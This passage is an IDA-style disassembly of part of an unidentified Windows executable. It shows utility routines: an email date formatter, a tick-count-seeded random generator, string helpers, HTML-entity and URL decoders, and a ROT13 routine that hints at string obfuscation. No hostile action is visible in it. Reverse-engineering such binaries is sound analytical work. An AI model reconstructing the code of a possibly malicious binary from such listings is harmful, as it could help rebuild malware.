  2216.         mov    esi, offset dword_4A2438
  2217.         lea    edi, [ebp+var_20]
  2218.         movsd
  2219.         movsd
  2220.         movsd
  2221.         lea    eax, [ebp+var_234]
  2222.         push    eax
  2223.         movsd
  2224.         call    main
  2225.         add    esp, 10h
  2226.         push    0        ; uExitCode
  2227.         call    ds:ExitProcess
  2228.         int    3        ; Trap to Debugger
  2229. start        endp
  2230.  
  2231.  
  2232. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2233.  
  2234. ; Attributes: bp-based frame
  2235.  
  2236. ; int __cdecl sub_4A40B3(FILETIME *lpFileTime,int)
  2237. sub_4A40B3    proc near        ; CODE XREF: sub_4A74DD+B3p
  2238.  
  2239. TimeZoneInformation= _TIME_ZONE_INFORMATION ptr    -110h
  2240. FileTime    = FILETIME ptr -64h
  2241. var_5C        = dword    ptr -5Ch
  2242. var_58        = dword    ptr -58h
  2243. var_54        = dword    ptr -54h
  2244. var_50        = dword    ptr -50h
  2245. var_4C        = dword    ptr -4Ch
  2246. var_48        = dword    ptr -48h
  2247. var_44        = dword    ptr -44h
  2248. var_40        = dword    ptr -40h
  2249. var_3C        = dword    ptr -3Ch
  2250. var_38        = dword    ptr -38h
  2251. var_34        = dword    ptr -34h
  2252. var_30        = dword    ptr -30h
  2253. var_2C        = dword    ptr -2Ch
  2254. var_28        = dword    ptr -28h
  2255. var_24        = dword    ptr -24h
  2256. var_20        = dword    ptr -20h
  2257. var_1C        = dword    ptr -1Ch
  2258. var_18        = dword    ptr -18h
  2259. var_14        = dword    ptr -14h
  2260. SystemTime    = _SYSTEMTIME ptr -10h
  2261. lpFileTime    = dword    ptr  8
  2262. arg_4        = dword    ptr  0Ch
  2263.  
  2264.         push    ebp
  2265.         mov    ebp, esp
  2266.         sub    esp, 110h
  2267.         push    esi
  2268.         xor    esi, esi
  2269.         cmp    [ebp+lpFileTime], esi
  2270.         mov    [ebp+var_2C], offset aSun ; "Sun"
  2271.         mov    [ebp+var_28], offset aMon ; "Mon"
  2272.         mov    [ebp+var_24], offset aTue ; "Tue"
  2273.         mov    [ebp+var_20], offset aWed ; "Wed"
  2274.         mov    [ebp+var_1C], offset aThu ; "Thu"
  2275.         mov    [ebp+var_18], offset aFri ; "Fri"
  2276.         mov    [ebp+var_14], offset aSat ; "Sat"
  2277.         mov    [ebp+var_5C], offset aJan ; "Jan"
  2278.         mov    [ebp+var_58], offset aFeb ; "Feb"
  2279.         mov    [ebp+var_54], offset aMar ; "Mar"
  2280.         mov    [ebp+var_50], offset aApr ; "Apr"
  2281.         mov    [ebp+var_4C], offset aMay ; "May"
  2282.         mov    [ebp+var_48], offset aJun ; "Jun"
  2283.         mov    [ebp+var_44], offset aJul ; "Jul"
  2284.         mov    [ebp+var_40], offset aAug ; "Aug"
  2285.         mov    [ebp+var_3C], offset aSep ; "Sep"
  2286.         mov    [ebp+var_38], offset aOct ; "Oct"
  2287.         mov    [ebp+var_34], offset aNov ; "Nov"
  2288.         mov    [ebp+var_30], offset aDec ; "Dec"
  2289.         jnz    short loc_4A4155
  2290.         lea    eax, [ebp+SystemTime]
  2291.         push    eax        ; lpSystemTime
  2292.         call    ds:GetLocalTime
  2293.         jmp    short loc_4A4170
  2294. ; ───────────────────────────────────────────────────────────────────────────
  2295.  
  2296. loc_4A4155:                ; CODE XREF: sub_4A40B3+94j
  2297.         lea    eax, [ebp+FileTime]
  2298.         push    eax        ; lpLocalFileTime
  2299.         push    [ebp+lpFileTime] ; lpFileTime
  2300.         call    ds:FileTimeToLocalFileTime
  2301.         lea    eax, [ebp+SystemTime]
  2302.         push    eax        ; lpSystemTime
  2303.         lea    eax, [ebp+FileTime]
  2304.         push    eax        ; lpFileTime
  2305.         call    ds:FileTimeToSystemTime
  2306.  
  2307. loc_4A4170:                ; CODE XREF: sub_4A40B3+A0j
  2308.         lea    eax, [ebp+TimeZoneInformation]
  2309.         mov    [ebp+TimeZoneInformation.Bias],    esi
  2310.         push    eax        ; lpTimeZoneInformation
  2311.         call    ds:GetTimeZoneInformation
  2312.         mov    ecx, [ebp+TimeZoneInformation.Bias]
  2313.         cmp    eax, 2
  2314.         jnz    short loc_4A4193
  2315.         mov    eax, [ebp+TimeZoneInformation.DaylightBias]
  2316.         add    ecx, eax
  2317.  
  2318. loc_4A4193:                ; CODE XREF: sub_4A40B3+D9j
  2319.         neg    ecx
  2320.         mov    eax, ecx
  2321.         jns    short loc_4A419B
  2322.         neg    eax
  2323.  
  2324. loc_4A419B:                ; CODE XREF: sub_4A40B3+E4j
  2325.         cmp    [ebp+SystemTime.wDayOfWeek], 6
  2326.         jbe    short loc_4A41A8
  2327.         mov    [ebp+SystemTime.wDayOfWeek], 6
  2328.  
  2329. loc_4A41A8:                ; CODE XREF: sub_4A40B3+EDj
  2330.         cmp    [ebp+SystemTime.wMonth], si
  2331.         jnz    short loc_4A41B4
  2332.         mov    [ebp+SystemTime.wMonth], 1
  2333.  
  2334. loc_4A41B4:                ; CODE XREF: sub_4A40B3+F9j
  2335.         cmp    [ebp+SystemTime.wMonth], 0Ch
  2336.         jbe    short loc_4A41C1
  2337.         mov    [ebp+SystemTime.wMonth], 0Ch
  2338.  
  2339. loc_4A41C1:                ; CODE XREF: sub_4A40B3+106j
  2340.         cmp    ecx, esi
  2341.         mov    ecx, offset asc_4A2538 ; "+"
  2342.         jge    short loc_4A41CF
  2343.         mov    ecx, offset asc_4A2534 ; "-"
  2344.  
  2345. loc_4A41CF:                ; CODE XREF: sub_4A40B3+115j
  2346.         push    3Ch
  2347.         cdq
  2348.         pop    esi
  2349.         idiv    esi
  2350.         push    edx
  2351.         push    eax
  2352.         movzx    eax, [ebp+SystemTime.wSecond]
  2353.         push    ecx
  2354.         push    eax
  2355.         movzx    eax, [ebp+SystemTime.wMinute]
  2356.         push    eax
  2357.         movzx    eax, [ebp+SystemTime.wHour]
  2358.         push    eax
  2359.         movzx    eax, [ebp+SystemTime.wYear]
  2360.         push    eax
  2361.         movzx    eax, [ebp+SystemTime.wMonth]
  2362.         push    [ebp+eax*4+FileTime.dwHighDateTime]
  2363.         movzx    eax, [ebp+SystemTime.wDay]
  2364.         push    eax
  2365.         movzx    eax, [ebp+SystemTime.wDayOfWeek]
  2366.         push    [ebp+eax*4+var_2C]
  2367.         push    offset aSUSU_2u_2u_2uS ; "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u"
  2368.         push    [ebp+arg_4]
  2369.         call    ds:wsprintfA
  2370.         add    esp, 30h
  2371.         pop    esi
  2372.         leave
  2373.         retn
  2374. sub_4A40B3    endp
  2375.  
  2376.  
  2377. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2378.  
  2379.  
  2380. sub_4A4215    proc near        ; CODE XREF: start+Bp
  2381.         call    ds:GetTickCount
  2382.         mov    ds:dword_4A81B0, eax
  2383.         retn
  2384. sub_4A4215    endp
  2385.  
  2386.  
  2387. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2388.  
  2389.  
  2390. sub_4A4221    proc near        ; CODE XREF: StartAddress+CEp
  2391.                     ; StartAddress+F3p ...
  2392.         mov    eax, ds:dword_4A81B0
  2393.         imul    eax, 15A4E35h
  2394.         inc    eax
  2395.         mov    ds:dword_4A81B0, eax
  2396.         mov    ax, word ptr ds:dword_4A81B0+2
  2397.         retn
  2398. sub_4A4221    endp
  2399.  
  2400.  
  2401. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2402.  
  2403.  
  2404. sub_4A4239    proc near        ; CODE XREF: sub_4A586A+28p
  2405.                     ; sub_4A6CDE+36p ...
  2406.         call    sub_4A4221
  2407.         movzx    ecx, ax
  2408.         shl    ecx, 10h
  2409.         call    sub_4A4221
  2410.         movzx    eax, ax
  2411.         or    eax, ecx
  2412.         retn
  2413. sub_4A4239    endp
  2414.  
  2415.  
  2416. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2417.  
  2418.  
  2419. sub_4A424F    proc near        ; CODE XREF: sub_4A551A+6Ap
  2420.                     ; sub_4A551A+96p ...
  2421.  
  2422. arg_0        = dword    ptr  4
  2423. arg_4        = dword    ptr  8
  2424.  
  2425.         mov    eax, [esp+arg_0]
  2426.         push    esi
  2427.         jmp    short loc_4A427B
  2428. ; ───────────────────────────────────────────────────────────────────────────
  2429.  
  2430. loc_4A4256:                ; CODE XREF: sub_4A424F+30j
  2431.         mov    edx, [esp+4+arg_4]
  2432.         mov    esi, eax
  2433.         test    cl, cl
  2434.         jz    short loc_4A4271
  2435.  
  2436. loc_4A4260:                ; CODE XREF: sub_4A424F+20j
  2437.         mov    cl, [edx]
  2438.         test    cl, cl
  2439.         jz    short loc_4A4271
  2440.         cmp    [esi], cl
  2441.         jnz    short loc_4A4271
  2442.         inc    esi
  2443.         inc    edx
  2444.         cmp    byte ptr [esi],    0
  2445.         jnz    short loc_4A4260
  2446.  
  2447. loc_4A4271:                ; CODE XREF: sub_4A424F+Fj
  2448.                     ; sub_4A424F+15j ...
  2449.         cmp    esi, edx
  2450.         jz    short loc_4A4283
  2451.         cmp    byte ptr [edx],    0
  2452.         jz    short loc_4A4283
  2453.         inc    eax
  2454.  
  2455. loc_4A427B:                ; CODE XREF: sub_4A424F+5j
  2456.         mov    cl, [eax]
  2457.         test    cl, cl
  2458.         jnz    short loc_4A4256
  2459.         xor    eax, eax
  2460.  
  2461. loc_4A4283:                ; CODE XREF: sub_4A424F+24j
  2462.                     ; sub_4A424F+29j
  2463.         pop    esi
  2464.         retn
  2465. sub_4A424F    endp
  2466.  
  2467.  
  2468. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2469.  
  2470.  
  2471. sub_4A4285    proc near        ; CODE XREF: sub_4A45E3+2Fp
  2472.                     ; sub_4A45E3+57p ...
  2473.  
  2474. arg_0        = dword    ptr  4
  2475. arg_4        = byte ptr  8
  2476.  
  2477.         mov    eax, [esp+arg_0]
  2478.         jmp    short loc_4A4292
  2479. ; ───────────────────────────────────────────────────────────────────────────
  2480.  
  2481. loc_4A428B:                ; CODE XREF: sub_4A4285+11j
  2482.         cmp    cl, [esp+arg_4]
  2483.         jz    short loc_4A4298
  2484.         inc    eax
  2485.  
  2486. loc_4A4292:                ; CODE XREF: sub_4A4285+4j
  2487.         mov    cl, [eax]
  2488.         test    cl, cl
  2489.         jnz    short loc_4A428B
  2490.  
  2491. loc_4A4298:                ; CODE XREF: sub_4A4285+Aj
  2492.         mov    cl, [eax]
  2493.         sub    cl, [esp+arg_4]
  2494.         neg    cl
  2495.         sbb    ecx, ecx
  2496.         not    ecx
  2497.         and    eax, ecx
  2498.         retn
  2499. sub_4A4285    endp
  2500.  
  2501.  
  2502. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2503.  
  2504. ; Attributes: bp-based frame
  2505.  
  2506. sub_4A42A7    proc near        ; CODE XREF: sub_4A5CE7+56p
  2507.  
  2508. var_4        = dword    ptr -4
  2509. arg_0        = dword    ptr  8
  2510. arg_4        = dword    ptr  0Ch
  2511. arg_8        = dword    ptr  10h
  2512.  
  2513.         push    ebp
  2514.         mov    ebp, esp
  2515.         push    ecx
  2516.         cmp    [ebp+arg_8], 0
  2517.         push    ebx
  2518.         push    esi
  2519.         push    edi
  2520.         jz    short loc_4A42E5
  2521.         mov    esi, ds:tolower
  2522.         mov    ebx, [ebp+arg_4]
  2523.  
  2524. loc_4A42BD:                ; CODE XREF: sub_4A42A7+3Cj
  2525.         mov    eax, [ebp+arg_0]
  2526.         dec    [ebp+arg_8]
  2527.         movzx    edi, byte ptr [eax]
  2528.         movzx    eax, byte ptr [ebx]
  2529.         push    eax
  2530.         call    esi ; tolower
  2531.         push    edi
  2532.         mov    [ebp+var_4], eax
  2533.         call    esi ; tolower
  2534.         pop    ecx
  2535.         inc    ebx
  2536.         inc    [ebp+arg_0]
  2537.         pop    ecx
  2538.         mov    ecx, [ebp+var_4]
  2539.         cmp    eax, ecx
  2540.         jnz    short loc_4A42EC
  2541.         cmp    [ebp+arg_8], 0
  2542.         jnz    short loc_4A42BD
  2543.  
  2544. loc_4A42E5:                ; CODE XREF: sub_4A42A7+Bj
  2545.         xor    eax, eax
  2546.  
  2547. loc_4A42E7:                ; CODE XREF: sub_4A42A7+48j
  2548.         pop    edi
  2549.         pop    esi
  2550.         pop    ebx
  2551.         leave
  2552.         retn
  2553. ; ───────────────────────────────────────────────────────────────────────────
  2554.  
  2555. loc_4A42EC:                ; CODE XREF: sub_4A42A7+36j
  2556.         xor    eax, eax
  2557.         inc    eax
  2558.         jmp    short loc_4A42E7
  2559. sub_4A42A7    endp
  2560.  
  2561.  
  2562. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2563.  
  2564. ; Attributes: bp-based frame
  2565.  
  2566. sub_4A42F1    proc near        ; CODE XREF: sub_4A55D4+85p
  2567.                     ; sub_4A55D4+CCp ...
  2568.  
  2569. arg_0        = dword    ptr  8
  2570. arg_4        = dword    ptr  0Ch
  2571. arg_8        = dword    ptr  10h
  2572.  
  2573.         push    ebp
  2574.         mov    ebp, esp
  2575.         cmp    [ebp+arg_8], 0
  2576.         jnz    short loc_4A42FE
  2577.         xor    eax, eax
  2578.         pop    ebp
  2579.         retn
  2580. ; ───────────────────────────────────────────────────────────────────────────
  2581.  
  2582. loc_4A42FE:                ; CODE XREF: sub_4A42F1+7j
  2583.         mov    ecx, [ebp+arg_0]
  2584.         mov    edx, [ebp+arg_4]
  2585.  
  2586. loc_4A4304:                ; CODE XREF: sub_4A42F1+24j
  2587.         dec    [ebp+arg_8]
  2588.         jz    short loc_4A4317
  2589.         mov    al, [ecx]
  2590.         test    al, al
  2591.         jz    short loc_4A4317
  2592.         cmp    al, [edx]
  2593.         jnz    short loc_4A4317
  2594.         inc    ecx
  2595.         inc    edx
  2596.         jmp    short loc_4A4304
  2597. ; ───────────────────────────────────────────────────────────────────────────
  2598.  
  2599. loc_4A4317:                ; CODE XREF: sub_4A42F1+16j
  2600.                     ; sub_4A42F1+1Cj ...
  2601.         movzx    eax, byte ptr [ecx]
  2602.         movzx    ecx, byte ptr [edx]
  2603.         sub    eax, ecx
  2604.         pop    ebp
  2605.         retn
  2606. sub_4A42F1    endp
  2607.  
  2608.  
  2609. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2610.  
  2611. ; Attributes: bp-based frame
  2612.  
  2613. ; int __cdecl sub_4A4321(const WCHAR WideCharStr)
  2614. sub_4A4321    proc near        ; CODE XREF: sub_4A5CE7+CDp
  2615.  
  2616. String        = byte ptr -24h
  2617. var_23        = byte ptr -23h
  2618. var_10        = dword    ptr -10h
  2619. var_C        = dword    ptr -0Ch
  2620. var_8        = dword    ptr -8
  2621. var_4        = dword    ptr -4
  2622. WideCharStr    = word ptr  8
  2623.  
  2624.         push    ebp
  2625.         mov    ebp, esp
  2626.         sub    esp, 24h
  2627.         push    esi
  2628.         push    edi
  2629.         mov    edi, dword ptr [ebp+WideCharStr]
  2630.         xor    esi, esi
  2631.         mov    [ebp+var_8], esi
  2632.         cmp    byte ptr [edi],    0
  2633.         jz    loc_4A4482
  2634.         push    ebx
  2635.  
  2636. loc_4A433B:                ; CODE XREF: sub_4A4321+15Aj
  2637.         cmp    byte ptr [esi+edi], 26h
  2638.         jnz    loc_4A4476
  2639.         mov    [ebp+var_4], esi
  2640.         inc    esi
  2641.         cmp    byte ptr [esi+edi], 23h
  2642.         jnz    loc_4A4476
  2643.         xor    ebx, ebx
  2644.         inc    esi
  2645.  
  2646. loc_4A4356:                ; CODE XREF: sub_4A4321+51j
  2647.         movsx    eax, byte ptr [esi+edi]
  2648.         push    eax
  2649.         call    ds:isdigit
  2650.         test    eax, eax
  2651.         pop    ecx
  2652.         jz    short loc_4A4374
  2653.         mov    al, [esi+edi]
  2654.         mov    [ebp+ebx+String], al
  2655.         inc    ebx
  2656.         inc    esi
  2657.         cmp    ebx, 0Fh
  2658.         jb    short loc_4A4356
  2659.  
  2660. loc_4A4374:                ; CODE XREF: sub_4A4321+43j
  2661.         and    [ebp+ebx+String], 0
  2662.         xor    ecx, ecx
  2663.         cmp    [ebp+String], cl
  2664.         mov    dword ptr [ebp+WideCharStr], ecx
  2665.         jz    short loc_4A4399
  2666.         lea    eax, [ebp+String]
  2667.  
  2668. loc_4A4386:                ; CODE XREF: sub_4A4321+73j
  2669.         movsx    edx, byte ptr [eax]
  2670.         inc    eax
  2671.         lea    ecx, [ecx+ecx*4]
  2672.         cmp    byte ptr [eax],    0
  2673.         lea    ecx, [edx+ecx*2-30h]
  2674.         jnz    short loc_4A4386
  2675.         mov    dword ptr [ebp+WideCharStr], ecx
  2676.  
  2677. loc_4A4399:                ; CODE XREF: sub_4A4321+60j
  2678.         cmp    byte ptr [esi+edi], 3Bh
  2679.         jnz    short loc_4A43A0
  2680.         inc    esi
  2681.  
  2682. loc_4A43A0:                ; CODE XREF: sub_4A4321+7Cj
  2683.         test    ecx, ecx
  2684.         jle    loc_4A4476
  2685.         xor    ebx, ebx
  2686.         push    14h
  2687.         lea    eax, [ebp+String]
  2688.         push    ebx
  2689.         push    eax
  2690.         call    memset
  2691.         mov    eax, dword ptr [ebp+WideCharStr]
  2692.         add    esp, 0Ch
  2693.         cmp    eax, 100h
  2694.         jge    short loc_4A43CB
  2695.         and    [ebp+var_23], bl
  2696.         mov    [ebp+String], al
  2697.         jmp    short loc_4A43E1
  2698. ; ───────────────────────────────────────────────────────────────────────────
  2699.  
  2700. loc_4A43CB:                ; CODE XREF: sub_4A4321+A0j
  2701.         push    ebx        ; lpUsedDefaultChar
  2702.         push    ebx        ; lpDefaultChar
  2703.         lea    eax, [ebp+String]
  2704.         push    14h        ; cchMultiByte
  2705.         push    eax        ; lpMultiByteStr
  2706.         lea    eax, [ebp+WideCharStr]
  2707.         push    1        ; cchWideChar
  2708.         push    eax        ; lpWideCharStr
  2709.         push    ebx        ; dwFlags
  2710.         push    ebx        ; CodePage
  2711.         call    ds:WideCharToMultiByte
  2712.  
  2713. loc_4A43E1:                ; CODE XREF: sub_4A4321+A8j
  2714.         cmp    [ebp+String], 0
  2715.         jz    loc_4A4476
  2716.         mov    ebx, [ebp+var_4]
  2717.         lea    eax, [ebp+String]
  2718.         sub    esi, ebx
  2719.         push    eax        ; lpString
  2720.         mov    [ebp+var_C], esi
  2721.         call    ds:lstrlenA
  2722.         cmp    esi, eax
  2723.         mov    [ebp+var_10], eax
  2724.         jz    short loc_4A4455
  2725.         mov    ecx, [ebp+var_4]
  2726.         add    esi, ebx
  2727.         push    edi        ; lpString
  2728.         lea    ebx, [esi+edi]
  2729.         lea    esi, [eax+ecx]
  2730.         add    esi, edi
  2731.         call    ds:lstrlenA
  2732.         mov    ecx, edi
  2733.         sub    ecx, ebx
  2734.         cmp    esi, ebx
  2735.         lea    ecx, [eax+ecx+1]
  2736.         jnb    short loc_4A443F
  2737.         xor    esi, esi
  2738.         test    ecx, ecx
  2739.         jle    short loc_4A4455
  2740.         mov    eax, ebx
  2741.         sub    eax, [ebp+var_C]
  2742.         add    eax, [ebp+var_10]
  2743.  
  2744. loc_4A4432:                ; CODE XREF: sub_4A4321+11Aj
  2745.         mov    dl, [ebx+esi]
  2746.         mov    [eax], dl
  2747.         inc    eax
  2748.         inc    esi
  2749.         cmp    esi, ecx
  2750.         jl    short loc_4A4432
  2751.         jmp    short loc_4A4455
  2752. ; ───────────────────────────────────────────────────────────────────────────
  2753.  
  2754. loc_4A443F:                ; CODE XREF: sub_4A4321+101j
  2755.         lea    eax, [ecx-1]
  2756.         test    eax, eax
  2757.         jl    short loc_4A4455
  2758.         lea    ecx, [esi+eax]
  2759.         sub    ebx, esi
  2760.         inc    eax
  2761.  
  2762. loc_4A444C:                ; CODE XREF: sub_4A4321+132j
  2763.         mov    dl, [ebx+ecx]
  2764.         mov    [ecx], dl
  2765.         dec    ecx
  2766.         dec    eax
  2767.         jnz    short loc_4A444C
  2768.  
  2769. loc_4A4455:                ; CODE XREF: sub_4A4321+E1j
  2770.                     ; sub_4A4321+107j ...
  2771.         lea    eax, [ebp+String]
  2772.         push    eax        ; lpString
  2773.         call    ds:lstrlenA
  2774.         mov    esi, [ebp+var_4]
  2775.         push    eax
  2776.         lea    eax, [ebp+String]
  2777.         push    eax
  2778.         lea    eax, [esi+edi]
  2779.         push    eax
  2780.         call    memcpy
  2781.         add    esp, 0Ch
  2782.         inc    [ebp+var_8]
  2783.  
  2784. loc_4A4476:                ; CODE XREF: sub_4A4321+1Ej
  2785.                     ; sub_4A4321+2Cj ...
  2786.         inc    esi
  2787.         cmp    byte ptr [esi+edi], 0
  2788.         jnz    loc_4A433B
  2789.         pop    ebx
  2790.  
  2791. loc_4A4482:                ; CODE XREF: sub_4A4321+13j
  2792.         mov    eax, [ebp+var_8]
  2793.         pop    edi
  2794.         pop    esi
  2795.         leave
  2796.         retn
  2797. sub_4A4321    endp
  2798.  
  2799.  
  2800. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2801.  
  2802. ; Attributes: bp-based frame
  2803.  
  2804. sub_4A4489    proc near        ; CODE XREF: sub_4A5CE7+D6p
  2805.  
  2806. String        = byte ptr -18h
  2807. var_17        = byte ptr -17h
  2808. var_16        = byte ptr -16h
  2809. var_4        = dword    ptr -4
  2810. arg_0        = dword    ptr  8
  2811.  
  2812.         push    ebp
  2813.         mov    ebp, esp
  2814.         sub    esp, 18h
  2815.         push    esi
  2816.         push    edi
  2817.         mov    edi, [ebp+arg_0]
  2818.         xor    esi, esi
  2819.         mov    [ebp+var_4], esi
  2820.         cmp    byte ptr [edi],    0
  2821.         jz    loc_4A45BD
  2822.         push    ebx
  2823.  
  2824. loc_4A44A3:                ; CODE XREF: sub_4A4489+12Dj
  2825.         cmp    byte ptr [esi+edi], 25h
  2826.         jnz    loc_4A45B1
  2827.         movsx    eax, byte ptr [edi+esi+1]
  2828.         mov    ebx, ds:isxdigit
  2829.         push    eax
  2830.         mov    [ebp+arg_0], esi
  2831.         call    ebx ; isxdigit
  2832.         test    eax, eax
  2833.         pop    ecx
  2834.         jz    loc_4A45B1
  2835.         inc    esi
  2836.         movsx    eax, byte ptr [esi+edi]
  2837.         push    eax
  2838.         call    ds:toupper
  2839.         mov    [ebp+String], al
  2840.         movsx    eax, byte ptr [edi+esi+1]
  2841.         push    eax
  2842.         call    ebx ; isxdigit
  2843.         pop    ecx
  2844.         test    eax, eax
  2845.         pop    ecx
  2846.         jz    loc_4A45B1
  2847.         inc    esi
  2848.         movsx    eax, byte ptr [esi+edi]
  2849.         push    eax
  2850.         call    ds:toupper
  2851.         and    [ebp+var_16], 0
  2852.         inc    esi
  2853.         cmp    al, 41h
  2854.         pop    ecx
  2855.         mov    [ebp+var_17], al
  2856.         jl    short loc_4A450D
  2857.         cmp    al, 5Ah
  2858.         jg    short loc_4A450D
  2859.         movsx    ecx, al
  2860.         sub    ecx, 37h
  2861.         jmp    short loc_4A4513
  2862. ; ───────────────────────────────────────────────────────────────────────────
  2863.  
  2864. loc_4A450D:                ; CODE XREF: sub_4A4489+76j
  2865.                     ; sub_4A4489+7Aj
  2866.         movsx    ecx, al
  2867.         sub    ecx, 30h
  2868.  
  2869. loc_4A4513:                ; CODE XREF: sub_4A4489+82j
  2870.         mov    al, [ebp+String]
  2871.         cmp    al, 41h
  2872.         jl    short loc_4A4526
  2873.         cmp    al, 5Ah
  2874.         jg    short loc_4A4526
  2875.         movsx    eax, al
  2876.         sub    eax, 37h
  2877.         jmp    short loc_4A452C
  2878. ; ───────────────────────────────────────────────────────────────────────────
  2879.  
  2880. loc_4A4526:                ; CODE XREF: sub_4A4489+8Fj
  2881.                     ; sub_4A4489+93j
  2882.         movsx    eax, al
  2883.         sub    eax, 30h
  2884.  
  2885. loc_4A452C:                ; CODE XREF: sub_4A4489+9Bj
  2886.         shl    eax, 4
  2887.         add    ecx, eax
  2888.         test    ecx, ecx
  2889.         jle    short loc_4A45B1
  2890.         mov    ebx, [ebp+arg_0]
  2891.         and    [ebp+var_17], 0
  2892.         lea    eax, [ebp+String]
  2893.         mov    [ebp+String], cl
  2894.         push    eax        ; lpString
  2895.         sub    esi, ebx
  2896.         call    ds:lstrlenA
  2897.         cmp    esi, eax
  2898.         jz    short loc_4A4590
  2899.         add    eax, ebx
  2900.         add    esi, ebx
  2901.         push    edi        ; lpString
  2902.         add    esi, edi
  2903.         lea    ebx, [eax+edi]
  2904.         call    ds:lstrlenA
  2905.         mov    ecx, edi
  2906.         sub    ecx, esi
  2907.         cmp    ebx, esi
  2908.         lea    eax, [eax+ecx+1]
  2909.         jnb    short loc_4A457C
  2910.         test    eax, eax
  2911.         jle    short loc_4A4590
  2912.         sub    ebx, esi
  2913.  
  2914. loc_4A4571:                ; CODE XREF: sub_4A4489+EFj
  2915.         mov    cl, [esi]
  2916.         mov    [ebx+esi], cl
  2917.         inc    esi
  2918.         dec    eax
  2919.         jnz    short loc_4A4571
  2920.         jmp    short loc_4A4590
  2921. ; ───────────────────────────────────────────────────────────────────────────
  2922.  
  2923. loc_4A457C:                ; CODE XREF: sub_4A4489+E0j
  2924.         dec    eax
  2925.         test    eax, eax
  2926.         jl    short loc_4A4590
  2927.         lea    ecx, [eax+ebx]
  2928.         sub    esi, ebx
  2929.         inc    eax
  2930.  
  2931. loc_4A4587:                ; CODE XREF: sub_4A4489+105j
  2932.         mov    dl, [esi+ecx]
  2933.         mov    [ecx], dl
  2934.         dec    ecx
  2935.         dec    eax
  2936.         jnz    short loc_4A4587
  2937.  
  2938. loc_4A4590:                ; CODE XREF: sub_4A4489+C4j
  2939.                     ; sub_4A4489+E4j ...
  2940.         lea    eax, [ebp+String]
  2941.         push    eax        ; lpString
  2942.         call    ds:lstrlenA
  2943.         mov    esi, [ebp+arg_0]
  2944.         push    eax
  2945.         lea    eax, [ebp+String]
  2946.         push    eax
  2947.         lea    eax, [esi+edi]
  2948.         push    eax
  2949.         call    memcpy
  2950.         add    esp, 0Ch
  2951.         inc    [ebp+var_4]
  2952.  
  2953. loc_4A45B1:                ; CODE XREF: sub_4A4489+1Ej
  2954.                     ; sub_4A4489+38j ...
  2955.         inc    esi
  2956.         cmp    byte ptr [esi+edi], 0
  2957.         jnz    loc_4A44A3
  2958.         pop    ebx
  2959.  
  2960. loc_4A45BD:                ; CODE XREF: sub_4A4489+13j
  2961.         mov    eax, [ebp+var_4]
  2962.         pop    edi
  2963.         pop    esi
  2964.         leave
  2965.         retn
  2966. sub_4A4489    endp
  2967.  
  2968.  
  2969. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2970.  
  2971.  
  2972. ; int __cdecl sub_4A45C4(LPCSTR    lpString,LPCSTR,char arglist)
  2973. sub_4A45C4    proc near        ; CODE XREF: sub_4A74DD+E6p
  2974.                     ; sub_4A75FD+4Bp ...
  2975.  
  2976. lpString    = dword    ptr  4
  2977. arg_4        = dword    ptr  8
  2978. arglist        = byte ptr  0Ch
  2979.  
  2980.         lea    eax, [esp+arglist]
  2981.         push    eax        ; arglist
  2982.         push    [esp+4+arg_4]    ; LPCSTR
  2983.         push    [esp+8+lpString] ; lpString
  2984.         call    ds:lstrlenA
  2985.         add    eax, [esp+8+lpString]
  2986.         push    eax        ; LPSTR
  2987.         call    ds:wvsprintfA
  2988.         retn
  2989. sub_4A45C4    endp
  2990.  
  2991.  
  2992. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  2993.  
  2994. ; Attributes: bp-based frame
  2995.  
  2996. sub_4A45E3    proc near        ; CODE XREF: sub_4A465E+11p
  2997.  
  2998. var_38        = byte ptr -38h
  2999. var_1C        = byte ptr -1Ch
  3000. arg_0        = dword    ptr  8
  3001.  
  3002.         push    ebp
  3003.         mov    ebp, esp
  3004.         sub    esp, 38h
  3005.         push    esi
  3006.         push    edi
  3007.         push    6
  3008.         mov    esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  3009.         pop    ecx
  3010.         lea    edi, [ebp+var_1C]
  3011.         repe movsd
  3012.         movsw
  3013.         movsb
  3014.         push    6
  3015.         mov    esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
  3016.         pop    ecx
  3017.         lea    edi, [ebp+var_38]
  3018.         repe movsd
  3019.         push    [ebp+arg_0]
  3020.         lea    eax, [ebp+var_1C]
  3021.         movsw
  3022.         push    eax
  3023.         movsb
  3024.         call    sub_4A4285
  3025.         pop    ecx
  3026.         pop    ecx
  3027.         pop    edi
  3028.         test    eax, eax
  3029.         pop    esi
  3030.         jz    short loc_4A4633
  3031.         lea    ecx, [ebp+var_1C]
  3032.         push    1Ah
  3033.         sub    eax, ecx
  3034.         pop    ecx
  3035.         add    eax, 0Dh
  3036.         cdq
  3037.         idiv    ecx
  3038.         mov    al, [ebp+edx+var_1C]
  3039.         leave
  3040.         retn
  3041. ; ───────────────────────────────────────────────────────────────────────────
  3042.  
  3043. loc_4A4633:                ; CODE XREF: sub_4A45E3+3Aj
  3044.         push    [ebp+arg_0]
  3045.         lea    eax, [ebp+var_38]
  3046.         push    eax
  3047.         call    sub_4A4285
  3048.         pop    ecx
  3049.         test    eax, eax
  3050.         pop    ecx
  3051.         jz    short loc_4A4659
  3052.         lea    ecx, [ebp+var_38]
  3053.         push    1Ah
  3054.         sub    eax, ecx
  3055.         pop    ecx
  3056.         add    eax, 0Dh
  3057.         cdq
  3058.         idiv    ecx
  3059.         mov    al, [ebp+edx+var_38]
  3060.         leave
  3061.         retn
  3062. ; ───────────────────────────────────────────────────────────────────────────
  3063.  
  3064. loc_4A4659:                ; CODE XREF: sub_4A45E3+60j
  3065.         mov    al, byte ptr [ebp+arg_0]
  3066.         leave
  3067.         retn
